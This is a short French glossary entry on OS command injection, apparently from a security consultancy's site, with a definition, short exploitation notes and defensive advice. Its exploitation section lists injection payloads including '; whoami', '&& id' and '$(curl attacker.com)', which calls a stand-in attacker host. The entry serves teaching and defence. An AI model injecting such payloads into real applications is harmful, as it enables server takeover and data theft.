Command Injection (Injection de commande OS)
hackingDéfinition
L'injection de commande OS, ou Command Injection, est une vulnérabilité critique permettant à un attaquant d'exécuter des commandes système arbitraires directement sur le système d'exploitation hébergeant une application vulnérable, avec les privilèges du processus exécutant celle-ci. Elle survient lorsqu'une application intègre des données contrôlées par l'utilisateur au sein d'un appel système exécuté via des fonctions comme exec(), system() ou popen() en C et PHP, ou leurs équivalents dans d'autres langages (subprocess en Python, Runtime.exec() en Java), sans validation ni échappement adéquat des métacaractères shell susceptibles de modifier le comportement de la commande construite. Un attaquant exploite typiquement des séparateurs de commande shell, point-virgule, double esperluette, pipe, ou des mécanismes de substitution de commande, pour injecter une commande secondaire entièrement distincte de celle initialement prévue par le développeur de l'application, transformant ainsi un simple paramètre applicatif attendu, comme un nom de fichier ou une adresse IP à interroger, en un vecteur d'exécution de code arbitraire. Cette vulnérabilité figure parmi les plus critiques de l'OWASP Top 10 en raison de son impact potentiel maximal, souvent équivalent à une compromission complète du serveur hébergeant l'application. La prévention repose sur l'évitement systématique des appels shell directs, remplacés par des API structurées prenant des arguments séparés plutôt qu'une chaîne de commande brute concaténée.
Description
L'injection de commande OS survient lorsqu'une application intègre des données utilisateur dans des appels système sans validation, via exec(), system() ou popen(). L'attaquant utilise des métacaractères shell pour enchaîner ses propres commandes et compromettre le serveur.
Exploitation
Des payloads comme ; whoami, && id ou $(curl attacker.com) permettent l'exécution de commandes arbitraires. Cette faille mène directement à la compromission complète : lecture de fichiers sensibles, backdoor, pivoting réseau.
Défense
- Utiliser des APIs système sans passage par un shell (execve direct, sans /bin/sh)
- Valider les entrées par whitelist stricte et rejeter tout caractère non attendu
- Exécuter les processus sous des comptes à privilèges minimaux avec isolation
Articles liés
Expert en cybersécurité offensive et intelligence artificielle. Pentest, audit et développement IA sur-mesure.
Services
- Audit Infrastructure
- Audit Kubernetes
- Audit Microsoft 365
- Audit Sécurité Réseau
- Analyse de Risques
- Audit Active Directory
- Audit Application Web
- Audit Cloud (AWS/Azure/GCP)
- Audit Messagerie
- Audit API (OWASP Top 10)
- Audit DevSecOps & CI/CD
- Audit Code Source (SAST)
- Audit Postes de Travail
- Audit Sauvegarde & Résilience
- Audit OT/SCADA (IEC 62443)
- Développement IA
- Formations
Ressources
Projets & Outils
© 2026 Ayi NEDJIMI Consultants. Tous droits réservés. 2.1.7
Un projet cybersécurité ?
Expert dispo · Réponse 24h